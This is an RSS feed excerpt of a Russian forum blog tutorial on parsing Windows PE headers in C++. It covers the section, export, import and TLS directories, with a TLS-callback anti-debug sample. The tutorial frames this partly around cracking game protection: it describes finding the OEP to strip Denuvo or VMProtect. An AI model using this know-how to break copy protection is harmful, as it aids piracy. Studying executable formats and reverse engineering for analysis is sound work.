<span class="kw1">if</span> <span class="br0">&#40;</span><span class="br0">&#40;</span>flag <span class="sy3">&amp;</span> 0x80u<span class="br0">&#41;</span> <span class="sy3">!</span><span class="sy1">=</span> <span class="nu0">0</span><span class="br0">&#41;</span>
&nbsp; &nbsp; temp1 <span class="sy1">=</span> temp2 <span class="sy3">|</span> <span class="nu12">0x800000</span><span class="sy4">;</span>
&nbsp; &nbsp; 
RtlInitUnicodeStringEx<span class="br0">&#40;</span><span class="sy3">&amp;</span>LibraryName, <span class="co3">L</span><span class="st0">&quot;ntoskrnl.exe&quot;</span><span class="br0">&#41;</span><span class="sy4">;</span>
LdrLoadDll<span class="br0">&#40;</span>flag <span class="sy3">&amp;</span> <span class="nu12">0x7F08</span> <span class="sy3">|</span> <span class="nu0">1</span>, <span class="sy3">&amp;</span>temp1, <span class="sy3">&amp;</span>LibraryName, <span class="sy3">&amp;</span>hModule<span class="br0">&#41;</span><span class="sy4">;</span>
std<span class="sy4">::</span><span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;ntoskrnl.exe = 0x&quot;</span> <span class="sy1">&lt;&lt;</span> hModule <span class="sy1">&lt;&lt;</span> std<span class="sy4">::</span><span class="me2">endl</span><span class="sy4">;</span>
&nbsp; &nbsp; 
RtlInitAnsiStringEx<span class="br0">&#40;</span><span class="sy3">&amp;</span>FunctionName, <span class="st0">&quot;IoCreateFile&quot;</span><span class="br0">&#41;</span><span class="sy4">;</span>
LdrGetProcedureAddressForCaller<span class="br0">&#40;</span>hModule, <span class="sy3">&amp;</span>FunctionName, <span class="kw2">NULL</span>, <span class="sy3">&amp;</span>fnAddress, FALSE, <span class="kw2">nullptr</span><span class="br0">&#41;</span><span class="sy4">;</span>
std<span class="sy4">::</span><span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;IoCreateFile = 0x&quot;</span> <span class="sy1">&lt;&lt;</span> fnAddress <span class="sy1">&lt;&lt;</span> std<span class="sy4">::</span><span class="me2">endl</span><span class="sy4">;</span>
&nbsp;
std<span class="sy4">::</span><span class="kw3">cin</span>.<span class="me1">get</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy4">;</span></pre></td></tr></table></div></td></tr></tbody></table></div>
				   </div>
			   </div></div>

]]></content:encoded>
			<dc:creator>_lunar_</dc:creator>
			<guid isPermaLink="true">https://www.cyberforum.ru/blogs/172954/5934.html</guid>
		</item>
		<item>
			<title>Чтение данных PE заголовка</title>
			<link>https://www.cyberforum.ru/blogs/172954/5746.html</link>
			<pubDate>Wed, 27 Mar 2019 10:13:43 GMT</pubDate>
			<description>Несмотря на то, что исполняемые файлы имеют чёткую структуру и документированное описание, найти...</description>
			<content:encoded><![CDATA[<div>Несмотря на то, что исполняемые файлы имеют чёткую структуру и документированное описание, найти полезную информацию в интернете о том как читать PE заголовок достаточно сложно (если вообще возможно).<br />
<br />
Переписывать документацию наверное не имеет смысла. Вместо этого я покажу примеры кода как читать конкретные секции (заодно, поверхностно, рассмотрим защиту одной игры от взлома).<br />
Код я буду писать как говорится &quot;чистый&quot;, без всяких дефайнов, обёрток и прочей ерунды, которая только путает и забивает понимание того, что происходит.<br />
<br />
Сначала инициализируем DOS и NT заголовки (и сразу заголовок секций, т.к. в NT заголовке этой структуры нет)<br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="513812322"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="513812322" style="height: 78px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
</pre></td><td class="de1"><pre class="de1">IMAGE_DOS_HEADER <span class="sy2">*</span> __ptr64 pDos <span class="sy1">=</span> <span class="br0">&#40;</span>IMAGE_DOS_HEADER <span class="sy2">*</span> __ptr64<span class="br0">&#41;</span>ImageBaseAddr<span class="sy4">;</span>
IMAGE_NT_HEADERS64 <span class="sy2">*</span> __ptr64 pNt <span class="sy1">=</span> <span class="br0">&#40;</span>IMAGE_NT_HEADERS64 <span class="sy2">*</span> __ptr64<span class="br0">&#41;</span><span class="br0">&#40;</span><span class="br0">&#40;</span><span class="kw4">unsigned</span> __int64<span class="br0">&#41;</span>ImageBaseAddr <span class="sy2">+</span> pDos<span class="sy2">-</span><span class="sy1">&gt;</span>e_lfanew<span class="br0">&#41;</span><span class="sy4">;</span>
IMAGE_SECTION_HEADER <span class="sy2">*</span> __ptr64 pSec <span class="sy1">=</span> <span class="br0">&#40;</span>IMAGE_SECTION_HEADER <span class="sy2">*</span> __ptr64<span class="br0">&#41;</span><span class="br0">&#40;</span><span class="br0">&#40;</span><span class="kw4">unsigned</span> __int64<span class="br0">&#41;</span>ImageBaseAddr <span class="sy2">+</span> pDos<span class="sy2">-</span><span class="sy1">&gt;</span>e_lfanew <span class="sy2">+</span> <span class="kw3">sizeof</span><span class="br0">&#40;</span>IMAGE_NT_HEADERS64<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy4">;</span></pre></td></tr></table></div></td></tr></tbody></table></div>ImageBaseAddr получается стандартно - поочерёдным вызовом трех функций:<br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="149021865"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="149021865" style="height: 78px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
</pre></td><td class="de1"><pre class="de1">HANDLE hFile <span class="sy1">=</span> CreateFile<span class="br0">&#40;</span><span class="st0">&quot;PathToFile&quot;</span>, ...<span class="br0">&#41;</span><span class="sy4">;</span>
HANDLE hFileMapping <span class="sy1">=</span> CreateFileMapping<span class="br0">&#40;</span>hFile, ...<span class="br0">&#41;</span><span class="sy4">;</span>
<span class="kw4">unsigned</span> __int64<span class="sy2">*</span> __ptr64 ImageBaseAddr <span class="sy1">=</span> MapViewOfFile<span class="br0">&#40;</span>hFileMapping, ...<span class="br0">&#41;</span><span class="sy4">;</span></pre></td></tr></table></div></td></tr></tbody></table></div><font size="5"><b>IMAGE_SECTION_HEADER</b></font><br />
Начнём с IMAGE_SECTION_HEADER. Заголовок содержит данные, которые размещаются в адресном пространстве процесса во время загрузки исполняемого файла в память.<br />
Здесь располагаются секции кода, ресурсов, импорта, экспорта, и прочее.<br />
Именно эти секции пытаются защитить от реверса, обфусцируя их виртуальными машинами, добавляя мусор и мутации кода и многое другое.<br />
Чтобы осуществить взлом необходимо найти в секции кода так называемую OEP (original entry point), или базовую точку входа. OEP часто путают с EP (entry point). EP прописывается в PE заголовке и не является базовой точкой входа. Найдя OEP можно спокойно отсоединять отладчиком защиту от исполняемого файла.<br />
<br />
Информацию о секциях можно добыть следующим кодом:<br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="529047685"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="529047685" style="height: 126px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
</pre></td><td class="de1"><pre class="de1">wprintf<span class="br0">&#40;</span><span class="co3">L</span><span class="st0">&quot;****************************************************************<span class="es1">\n</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;IMAGE_SECTION_HEADER<span class="es1">\n</span>****************************************************************&quot;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
wprintf<span class="br0">&#40;</span><span class="co3">L</span><span class="st0">&quot; &nbsp; Name &nbsp;--- &nbsp; &nbsp; VA &nbsp; &nbsp; --- &nbsp;pRawData &nbsp;--- &nbsp; &nbsp;VS &nbsp; &nbsp;--- sRawData<span class="es1">\n</span>&quot;</span><span class="br0">&#41;</span><span class="sy4">;</span>
<span class="kw1">for</span> <span class="br0">&#40;</span><span class="kw4">unsigned</span> __int16 i <span class="sy1">=</span> <span class="nu0">0</span><span class="sy4">;</span> i <span class="sy1">&lt;</span> pNt<span class="sy2">-</span><span class="sy1">&gt;</span>FileHeader.<span class="me1">NumberOfSections</span><span class="sy4">;</span> i<span class="sy2">++</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; <span class="kw3">printf</span><span class="br0">&#40;</span><span class="st0">&quot;%-8s --- 0x%08X --- 0x%08X --- %08X --- %08X<span class="es1">\n</span>&quot;</span>, pSec<span class="br0">&#91;</span>i<span class="br0">&#93;</span>.<span class="me1">Name</span>, pSec<span class="br0">&#91;</span>i<span class="br0">&#93;</span>.<span class="me1">VirtualAddress</span>, pSec<span class="br0">&#91;</span>i<span class="br0">&#93;</span>.<span class="me1">PointerToRawData</span>, pSec<span class="br0">&#91;</span>i<span class="br0">&#93;</span>.<span class="me1">Misc</span>.<span class="me1">VirtualSize</span>, pSec<span class="br0">&#91;</span>i<span class="br0">&#93;</span>.<span class="me1">SizeOfRawData</span><span class="br0">&#41;</span><span class="sy4">;</span>
<span class="br0">&#125;</span></pre></td></tr></table></div></td></tr></tbody></table></div>Пример вывода данных в консоль<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=5313&amp;d=1553672822" rel="Lightbox" id="attachment5313" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=5313&amp;thumb=1&amp;d=1553672822" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 1.png
Просмотров: 1081
Размер:	25.8 Кб
ID:	5313" style="margin: 5px" /></a><br />
<br />
После исполнения кода получаем информацию об именах, виртуальных адресах, смещениях и прочее.<br />
Опытный реверсер сразу обратит внимание на такие секции как .xcode, .xdata, .vmp0 - это и есть обфусцированные виртуальной машиной секции.<br />
Приставка .x говорит о том, что секция зашифрована средствами защиты Denuvo, а .vmp - это виртуальная машина VMProtect.<br />
Их расшифровка отдельная тема, и достаточно сложная, поэтому оставим её и перейдем к секции экспорта.<br />
<br />
<font size="5"><b>IMAGE_EXPORT_DIRECTORY</b></font><br />
Исполняемые файлы (будь то exe или dll) могут иметь (или не иметь) секции экспорта и импорта.<br />
Экспорт для dll файла означает, что созданные в его коде функции могут использоваться путём их импорта в exe файле.<br />
<br />
Таблицу экспорта получаем следующим кодом:<br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="348883610"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="348883610" style="height: 222px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
7
8
9
10
11
12
</pre></td><td class="de1"><pre class="de1">wprintf<span class="br0">&#40;</span><span class="co3">L</span><span class="st0">&quot;****************************************************************<span class="es1">\n</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;IMAGE_EXPORT_DIRECTORY<span class="es1">\n</span>****************************************************************&quot;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
IMAGE_EXPORT_DIRECTORY<span class="sy2">*</span> __ptr64 pExpDir <span class="sy1">=</span> <span class="br0">&#40;</span>IMAGE_EXPORT_DIRECTORY <span class="sy2">*</span> __ptr64<span class="br0">&#41;</span><span class="br0">&#40;</span><span class="br0">&#40;</span><span class="kw4">unsigned</span> __int64<span class="br0">&#41;</span>ImageBaseAddr <span class="sy2">+</span> pNt<span class="sy2">-</span><span class="sy1">&gt;</span>OptionalHeader.<span class="me1">DataDirectory</span><span class="br0">&#91;</span>IMAGE_DIRECTORY_ENTRY_EXPORT<span class="br0">&#93;</span>.<span class="me1">VirtualAddress</span><span class="br0">&#41;</span><span class="sy4">;</span>
<span class="kw1">if</span> <span class="br0">&#40;</span>pExpDir<span class="sy2">-</span><span class="sy1">&gt;</span>NumberOfNames <span class="sy3">!</span><span class="sy1">=</span> <span class="nu0">0</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; <span class="kw4">unsigned</span> __int32<span class="sy2">*</span> __ptr64 Name <span class="sy1">=</span> <span class="br0">&#40;</span><span class="kw4">unsigned</span> __int32<span class="sy2">*</span> __ptr64<span class="br0">&#41;</span><span class="br0">&#40;</span><span class="br0">&#40;</span><span class="kw4">unsigned</span> __int64<span class="br0">&#41;</span>ImageBaseAddr <span class="sy2">+</span> pExpDir<span class="sy2">-</span><span class="sy1">&gt;</span>AddressOfNames<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw4">unsigned</span> __int32<span class="sy2">*</span> __ptr64 Func <span class="sy1">=</span> <span class="br0">&#40;</span><span class="kw4">unsigned</span> __int32<span class="sy2">*</span> __ptr64<span class="br0">&#41;</span><span class="br0">&#40;</span><span class="br0">&#40;</span><span class="kw4">unsigned</span> __int64<span class="br0">&#41;</span>ImageBaseAddr <span class="sy2">+</span> pExpDir<span class="sy2">-</span><span class="sy1">&gt;</span>AddressOfFunctions<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw1">for</span> <span class="br0">&#40;</span><span class="kw4">unsigned</span> __int32 i <span class="sy1">=</span> <span class="nu0">0</span><span class="sy4">;</span> i <span class="sy1">&lt;</span> pExpDir<span class="sy2">-</span><span class="sy1">&gt;</span>NumberOfNames<span class="sy4">;</span> i<span class="sy2">++</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">printf</span><span class="br0">&#40;</span><span class="st0">&quot;%-51s --- &quot;</span>, <span class="br0">&#40;</span><span class="kw4">unsigned</span> __int64<span class="br0">&#41;</span>ImageBaseAddr <span class="sy2">+</span> Name<span class="br0">&#91;</span>i<span class="br0">&#93;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; wprintf<span class="br0">&#40;</span><span class="co3">L</span><span class="st0">&quot;0x%08X<span class="es1">\n</span>&quot;</span>, Func<span class="br0">&#91;</span>i<span class="br0">&#93;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="br0">&#125;</span>
<span class="br0">&#125;</span>
<span class="kw1">else</span> wprintf<span class="br0">&#40;</span><span class="co3">L</span><span class="st0">&quot;<span class="es1">\n</span>Export directory not found!<span class="es1">\n</span><span class="es1">\n</span>&quot;</span><span class="br0">&#41;</span><span class="sy4">;</span></pre></td></tr></table></div></td></tr></tbody></table></div>Пример вывода данных в консоль<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=5314&amp;d=1553672822" rel="Lightbox" id="attachment5314" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=5314&amp;thumb=1&amp;d=1553672822" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 2.png
Просмотров: 1024
Размер:	19.0 Кб
ID:	5314" style="margin: 5px" /></a><br />
<br />
<font size="5"><b>IMAGE_IMPORT_DESCRIPTOR</b></font><br />
Аналогично получаем информацию о таблице импорта:<br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="264157371"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="264157371" style="height: 350px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
</pre></td><td class="de1"><pre class="de1">wprintf<span class="br0">&#40;</span><span class="co3">L</span><span class="st0">&quot;****************************************************************<span class="es1">\n</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; IMAGE_IMPORT_DESCRIPTOR<span class="es1">\n</span>****************************************************************&quot;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
IMAGE_IMPORT_DESCRIPTOR<span class="sy2">*</span> __ptr64 pImpDir <span class="sy1">=</span> <span class="br0">&#40;</span>IMAGE_IMPORT_DESCRIPTOR <span class="sy2">*</span> __ptr64<span class="br0">&#41;</span><span class="br0">&#40;</span><span class="br0">&#40;</span><span class="kw4">unsigned</span> __int64<span class="br0">&#41;</span>ImageBaseAddr <span class="sy2">+</span> pNt<span class="sy2">-</span><span class="sy1">&gt;</span>OptionalHeader.<span class="me1">DataDirectory</span><span class="br0">&#91;</span>IMAGE_DIRECTORY_ENTRY_IMPORT<span class="br0">&#93;</span>.<span class="me1">VirtualAddress</span><span class="br0">&#41;</span><span class="sy4">;</span>
<span class="kw1">if</span> <span class="br0">&#40;</span>pNt<span class="sy2">-</span><span class="sy1">&gt;</span>OptionalHeader.<span class="me1">DataDirectory</span><span class="br0">&#91;</span>IMAGE_DIRECTORY_ENTRY_IMPORT<span class="br0">&#93;</span>.<span class="me1">Size</span> <span class="sy3">!</span><span class="sy1">=</span> <span class="nu0">0</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; <span class="kw1">while</span> <span class="br0">&#40;</span>pImpDir<span class="sy2">-</span><span class="sy1">&gt;</span>Name<span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; IMAGE_THUNK_DATA64<span class="sy2">*</span> __ptr64 OriginalFirstThunk <span class="sy1">=</span> <span class="br0">&#40;</span>IMAGE_THUNK_DATA64 <span class="sy2">*</span> __ptr64<span class="br0">&#41;</span><span class="br0">&#40;</span><span class="br0">&#40;</span><span class="kw4">unsigned</span> __int64<span class="br0">&#41;</span>ImageBaseAddr <span class="sy2">+</span> pImpDir<span class="sy2">-</span><span class="sy1">&gt;</span>OriginalFirstThunk<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; IMAGE_THUNK_DATA64 <span class="sy2">*</span> __ptr64 FirstThunk <span class="sy1">=</span> <span class="br0">&#40;</span>IMAGE_THUNK_DATA64 <span class="sy2">*</span> __ptr64<span class="br0">&#41;</span><span class="br0">&#40;</span><span class="br0">&#40;</span><span class="kw4">unsigned</span> __int64<span class="br0">&#41;</span>ImageBaseAddr <span class="sy2">+</span> pImpDir<span class="sy2">-</span><span class="sy1">&gt;</span>FirstThunk<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; IMAGE_THUNK_DATA64 <span class="sy2">*</span> __ptr64 ThunkData <span class="sy1">=</span> OriginalFirstThunk<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="sy3">!</span>ThunkData<span class="br0">&#41;</span> ThunkData <span class="sy1">=</span> FirstThunk<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">printf</span><span class="br0">&#40;</span><span class="st0">&quot;<span class="es1">\n</span>%s (OFT: 0x%08X, FT: 0x%08X)<span class="es1">\n</span>&quot;</span>, <span class="br0">&#40;</span><span class="kw4">unsigned</span> __int64<span class="br0">&#41;</span>ImageBaseAddr <span class="sy2">+</span> pImpDir<span class="sy2">-</span><span class="sy1">&gt;</span>Name, pImpDir<span class="sy2">-</span><span class="sy1">&gt;</span>OriginalFirstThunk, pImpDir<span class="sy2">-</span><span class="sy1">&gt;</span>FirstThunk<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">while</span> <span class="br0">&#40;</span>ThunkData<span class="sy2">-</span><span class="sy1">&gt;</span>u1.<span class="me1">AddressOfData</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="sy3">!</span><span class="br0">&#40;</span>ThunkData<span class="sy2">-</span><span class="sy1">&gt;</span>u1.<span class="me1">Ordinal</span> <span class="sy3">&amp;</span> IMAGE_ORDINAL_FLAG64<span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; IMAGE_IMPORT_BY_NAME<span class="sy2">*</span> __ptr64 ImportFunctionName <span class="sy1">=</span> <span class="br0">&#40;</span>IMAGE_IMPORT_BY_NAME <span class="sy2">*</span> __ptr64<span class="br0">&#41;</span><span class="br0">&#40;</span><span class="br0">&#40;</span><span class="kw4">unsigned</span> __int64<span class="br0">&#41;</span>ImageBaseAddr <span class="sy2">+</span> ThunkData<span class="sy2">-</span><span class="sy1">&gt;</span>u1.<span class="me1">AddressOfData</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">printf</span><span class="br0">&#40;</span><span class="st0">&quot; %-50s --- &quot;</span>, ImportFunctionName<span class="sy2">-</span><span class="sy1">&gt;</span>Name<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; wprintf<span class="br0">&#40;</span><span class="co3">L</span><span class="st0">&quot;0x%016llX<span class="es1">\n</span>&quot;</span>, ThunkData<span class="sy2">-</span><span class="sy1">&gt;</span>u1.<span class="me1">AddressOfData</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ThunkData<span class="sy2">++</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp; &nbsp; &nbsp; &nbsp; pImpDir<span class="sy2">++</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="br0">&#125;</span>
<span class="br0">&#125;</span>
<span class="kw1">else</span> wprintf<span class="br0">&#40;</span><span class="co3">L</span><span class="st0">&quot;<span class="es1">\n</span>Import directory not found!<span class="es1">\n</span><span class="es1">\n</span>&quot;</span><span class="br0">&#41;</span><span class="sy4">;</span></pre></td></tr></table></div></td></tr></tbody></table></div>Пример вывода данных в консоль<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=5315&amp;d=1553672822" rel="Lightbox" id="attachment5315" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=5315&amp;thumb=1&amp;d=1553672822" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 3.png
Просмотров: 1051
Размер:	31.2 Кб
ID:	5315" style="margin: 5px" /></a><br />
<br />
Здесь стоит сделать небольшое примечание - чем отличаются OriginalFirstThunk и FirstThunk.<br />
Если работать с файлом как с набором байт на диске, а не как с загруженным образом в память, то эти поля будут идентичны.<br />
В случае с загруженным образом эти поля будут отличаться: OriginalFirstThunk так и будет ссылаться на массив имён (import name table - INT), но FirstThunk будет ссылаться на таблицу прокси вызовов (import address table - IAT), где адрес нужного Thunk будет прокси вызовом <i>call dword ptr[&amp;Thunk] (FF 15 XX XX XX XX)</i>.<br />
<br />
<font size="5"><b>IMAGE_TLS_DIRECTORY64</b></font><br />
Перейдем к наверно самой интересной с точки зрения реверса таблице - TlsCallback.<br />
Немного расскажу о значимости этой таблицы в части защиты кода от взлома.<br />
TLSCallBack вызывается из системы при создании потоков. Главная фишка этой таблицы – вызов потока до точки входа в приложение (секция CRT).<br />
Если создать поток до точки входа и вызывать из него функцию антидебага (к примеру IsDebuggerPresent), то при попытке реверса такого файла (структура DEBUG_EVENT, WaitForDebugEvent/ContinueDebugEvent, etc.) мы попадем на IMAGE_TLS_CALLBACK с последующим TerminateProcess.<br />
<br />
Небольшой пример:<br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="584673501"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="584673501" style="height: 302px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
</pre></td><td class="de1"><pre class="de1"><span class="co2">#include &lt;Windows.h&gt;</span>
&nbsp;
<span class="co2">#pragma comment (linker, &quot;/INCLUDE:_tls_used&quot;)</span>
<span class="co2">#pragma section (&quot;.CRT$XLY&quot;, long, read)</span>
&nbsp;
<span class="kw4">void</span> __stdcall TLSCallBack<span class="br0">&#40;</span><span class="kw4">void</span> <span class="sy2">*</span>, <span class="kw4">unsigned</span> <span class="kw4">long</span>, <span class="kw4">void</span> <span class="sy2">*</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>IsDebuggerPresent<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; MessageBox<span class="br0">&#40;</span><span class="kw2">nullptr</span>, <span class="st0">&quot;Debugger is detected&quot;</span>, <span class="st0">&quot;Test&quot;</span>, MB_ERROR<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; TerminateProcess<span class="br0">&#40;</span>hProcess, <span class="nu0">0</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="br0">&#125;</span>
<span class="br0">&#125;</span>
__declspec<span class="br0">&#40;</span>allocate<span class="br0">&#40;</span><span class="st0">&quot;.CRT$XLY&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>PIMAGE_TLS_CALLBACK pTLSCallBack <span class="sy1">=</span> TLSCallBack<span class="sy4">;</span>
&nbsp;
<span class="kw4">int</span> __stdcall WinMain<span class="br0">&#40;</span>HINSTANCE, HINSTANCE, <span class="kw4">char</span> <span class="sy2">*</span>, <span class="kw4">int</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; MessageBox<span class="br0">&#40;</span><span class="kw2">nullptr</span>, <span class="st0">&quot;All ok&quot;</span>, <span class="st0">&quot;Test&quot;</span>, MB_OK<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw1">return</span> <span class="nu0">0</span><span class="sy4">;</span>
<span class="br0">&#125;</span></pre></td></tr></table></div></td></tr></tbody></table></div>При обычном исполнении такой программы будет выведено сообщение что всё хорошо.<br />
Но при попытке отладить программу в отладчике, определенный в CRT поток IMAGE_TLS_CALLBACK, сработает быстрее чем точка входа WinMain и приложение завершится так и не добравшись до OEP.<br />
<br />
Определить имеется ли TlsCallback в коде приложения можно следующим образом:<br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="597215534"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="597215534" style="height: 286px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
</pre></td><td class="de1"><pre class="de1"><span class="kw4">typedef</span> <span class="kw4">void</span><span class="br0">&#40;</span>__fastcall<span class="sy2">*</span> __ptr64 PIMAGE_TLS_CALLBACK<span class="br0">&#41;</span><span class="br0">&#40;</span><span class="kw4">void</span><span class="sy2">*</span> __ptr64 DllHandle, <span class="kw4">void</span><span class="sy2">*</span> __ptr64 Reason, <span class="kw4">void</span><span class="sy2">*</span> __ptr64 Reserved<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
wprintf<span class="br0">&#40;</span><span class="co3">L</span><span class="st0">&quot;****************************************************************<span class="es1">\n</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; IMAGE_TLS_DIRECTORY64<span class="es1">\n</span>****************************************************************&quot;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
IMAGE_TLS_DIRECTORY64<span class="sy2">*</span> __ptr64 pTlsDir <span class="sy1">=</span> <span class="br0">&#40;</span>IMAGE_TLS_DIRECTORY64 <span class="sy2">*</span> __ptr64<span class="br0">&#41;</span><span class="br0">&#40;</span><span class="br0">&#40;</span><span class="kw4">unsigned</span> __int64<span class="br0">&#41;</span>ImageBaseAddr <span class="sy2">+</span> pNt<span class="sy2">-</span><span class="sy1">&gt;</span>OptionalHeader.<span class="me1">DataDirectory</span><span class="br0">&#91;</span>IMAGE_DIRECTORY_ENTRY_TLS<span class="br0">&#93;</span>.<span class="me1">VirtualAddress</span><span class="br0">&#41;</span><span class="sy4">;</span>
PIMAGE_TLS_CALLBACK<span class="sy2">*</span> __ptr64 TlsCallback <span class="sy1">=</span> <span class="br0">&#40;</span>PIMAGE_TLS_CALLBACK <span class="sy2">*</span> __ptr64<span class="br0">&#41;</span>pTlsDir<span class="sy2">-</span><span class="sy1">&gt;</span>AddressOfCallBacks<span class="sy4">;</span>
<span class="kw1">if</span> <span class="br0">&#40;</span><span class="sy2">*</span><span class="br0">&#40;</span>__int64<span class="sy2">*</span> __ptr64<span class="br0">&#41;</span>TlsCallback <span class="sy3">!</span><span class="sy1">=</span> <span class="nu0">0</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; wprintf<span class="br0">&#40;</span><span class="co3">L</span><span class="st0">&quot;<span class="es1">\n</span>&quot;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; __int32 i <span class="sy1">=</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw1">while</span> <span class="br0">&#40;</span><span class="sy2">*</span>TlsCallback<span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; wprintf<span class="br0">&#40;</span><span class="co3">L</span><span class="st0">&quot;TlsCallback_%d: 0x%016llX<span class="es1">\n</span>&quot;</span>, i, <span class="sy2">*</span><span class="br0">&#40;</span>__int64<span class="sy2">*</span> __ptr64<span class="br0">&#41;</span>TlsCallback<span class="br0">&#41;</span><span class="sy4">;</span>
